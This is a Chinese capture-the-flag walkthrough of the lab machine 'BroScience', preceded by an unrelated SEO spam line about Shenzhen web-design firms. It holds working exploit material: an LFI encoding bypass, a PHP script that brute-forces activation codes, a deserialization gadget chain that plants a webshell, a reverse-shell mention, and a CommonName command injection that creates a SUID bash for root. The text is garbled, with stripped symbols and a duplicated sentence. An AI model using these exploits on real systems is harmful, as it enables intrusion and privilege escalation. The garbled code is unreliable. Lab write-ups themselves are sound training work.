深圳做网站公司有哪些,做网站销售好累,网站建设的费用是多少,中小企业网络营销BroScience
BroScience 是一款中等难度的 Linux 机器#xff0c;其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力#xff0c;攻击者可以深入了解帐户激活码的生成方式#xff0c;从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力攻击者可以深入了解帐户激活码的生成方式从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后进一步枚举显示该站点的主题选择器功能容易受到使用自定义小工具链的 PHP 反序列化的影响允许攻击者复制目标系统上的文件最终导致远程代码执行。一旦站稳了脚跟就会从数据库中恢复一些哈希值一旦被破解就会证明其中包含机器的有效“SSH”密码的主要用户“bill”。最后权限升级基于执行 Bash 脚本的 cronjob该脚本容易受到通过“openssl”生成的证书进行命令注入的攻击从而丧失对攻击者的“root”访问权限。 外部信息收集
端口扫描
循例nmap Web枚举
在主页源码中可以看到img.php包含图片文件名来显示图片 但是会检测“/”通过对%进行url enocde实现二次url编码绕过 注册的时候需要激活码然而这激活码是不可能发到我们的邮箱的 通过LFI读register.php可以看到其调用utils.php中的生成函数
// Create the account
include_once includes/utils.php;
$activation_code generate_activation_code();
$res pg_prepare($db_conn, check_code_unique_query, SELECT id FROM users WHERE activation_code $1);
$res pg_execute($db_conn, check_code_unique_query, array($activation_code));
...
// TODO: Send the activation link to email
$activation_link https://broscience.htb/activate.php?code{$activation_code};
跟到utils.php 它通过时间戳来做随机数种子而与这个时间戳最接近并且我们能够获取到的也就是register.php返回的响应头中的Date将其转为时间戳再做容错
首先注册一个账户 将响应头的Date拿去转换 exp
?php
function generate_activation_code($time) {$chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890;srand($time);$activation_code ;for ($i 0; $i 32; $i) {$activation_code $activation_code . $chars[rand(0, strlen($chars) - 1)];}echo $activation_code . \n;
}$time 1704279054;for ($t $time;$t $time 20; $t){generate_activation_code($t);
}?将生成的code保存到文件ffuf跑一下 code应该是有时效的及时到activate.php上激活 登录 Foothold
继续通过LFI读user.php 跟回到utils.php
class UserPrefs {public $theme;public function __construct($theme light) {$this-theme $theme;}
}function get_theme() {if (isset($_SESSION[id])) {if (!isset($_COOKIE[user-prefs])) {$up_cookie base64_encode(serialize(new UserPrefs()));setcookie(user-prefs, $up_cookie);} else {$up_cookie $_COOKIE[user-prefs];}$up unserialize(base64_decode($up_cookie));return $up-theme;} else {return light;}
}...不需要脑子的反序列化exp
?phpclass Avatar {public $imgPath;public function __construct($imgPath) {$this-imgPath $imgPath;}public function save($tmp) {$f fopen($this-imgPath, w);fwrite($f, file_get_contents($tmp));fclose($f);}
}class AvatarInterface {public $tmp /var/lib/php/sessions/sess_76n6mi015r86vgf1blcnmnhqtl;public $imgPath /var/www/html/cmd.php; public function __wakeup() {$a new Avatar($this-imgPath);$a-save($this-tmp);}
}$a new AvatarInterface();
echo base64_encode(serialize($a));将base64复制到Cookie 用相同的方法注册并激活一个恶意用户并且登录 再打一遍反序列化exp。cmd.php 常规python3 reverse shell 本地横向移动
db_connect.php psql进数据库 查表 直接select * from users; bill是目标系统上的账户爆破它的密码hash对我们有利拿上前面读到的salt进行爆破 登ssh 本地权限提升
传个pspy 它会先检查/home/bill/Certs/broscience.crt证书是否是一天内到期 然后它会生成一个证书并且执行一个bash命令而我们可以劫持$commonName 在生成证书的时候我们向CommonName写入cmd
illbroscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -out broscience.crt -days 1
...
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/bash;chmod s /tmp/bash)
Email Address []:
...等一会迎接老朋友的到来